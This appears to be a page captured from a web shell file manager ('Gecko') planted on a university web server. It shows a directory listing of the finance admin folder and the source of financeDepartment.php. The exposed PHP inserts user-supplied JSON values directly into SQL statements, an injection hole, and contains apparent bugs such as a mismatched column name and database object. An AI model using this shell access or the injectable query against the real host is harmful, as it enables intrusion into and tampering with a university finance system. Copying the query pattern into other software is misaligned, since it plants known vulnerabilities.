Gecko [ nrupathungauniversityblr.ac.in ]

/ var / www / html / univadmin / finance / [ HOME SHELL ]

Name	Size	Permission	Action
financeDepartment.php	1.78 KB	-rw-rw-r--
financeDesignation.php	1.78 KB	-rw-rw-r--
financeMenuItems.php	3.15 KB	-rw-rw-r--
financeTeacherDetails.php	6.38 KB	-rw-rw-r--
flogin.php	1.71 KB	-rw-rw-r--
fprofile.php	1.79 KB	-rw-rw-r--
getBankDetails.php	15.04 KB	-rw-r--r--

Code Editor : financeDepartment.php

<?php

function saveFinanceDepartment($aobj_context){
        
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
        $univcode = $aobj_context->mobj_data["univcode"];
        $data = json_decode($aobj_context->mobj_data["data"], true);
        
        foreach($data as $val){
            if($val['fdeleted']){
                $cond = 'T';
            }else{
                $cond = 'F';
            }
            
            $query = "insert into fms_masdept(fdeptcode, fdeptname, fdeleted)
                      values('{$val['fdeptcode']}','{$val['fdeptname']}','{$cond}')
                      on duplicate key update 
                      fdegndesc = '{$val['fdeptname']}', fdeleted = '{$cond}'";

$result = $aobj_context->pobj_db->Execute($query);
        }

if($result){
            $arr['msg'] = "successfully updated";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success");  
        }else{
            $arr['msg'] = 'Failed to update';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
        }
    }

function getFinanceDepartment($aobj_context){
        
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
        $univcode = $aobj_context->mobj_data["univcode"];
        
        $query = "select ifnull(fdeptcode, '')as fdeptcode, 
                  ifnull(fdeptname, '')as fdeptname, 
                  ifnull(fdeleted, '') as fdeleted from fms_masdept";
        $result = $aobj_context->pobj_db->GetAll($query);
        
        if($result){
            echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success");  
        }else{
            $arr['msg'] = 'No data found';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
        }
    }
?>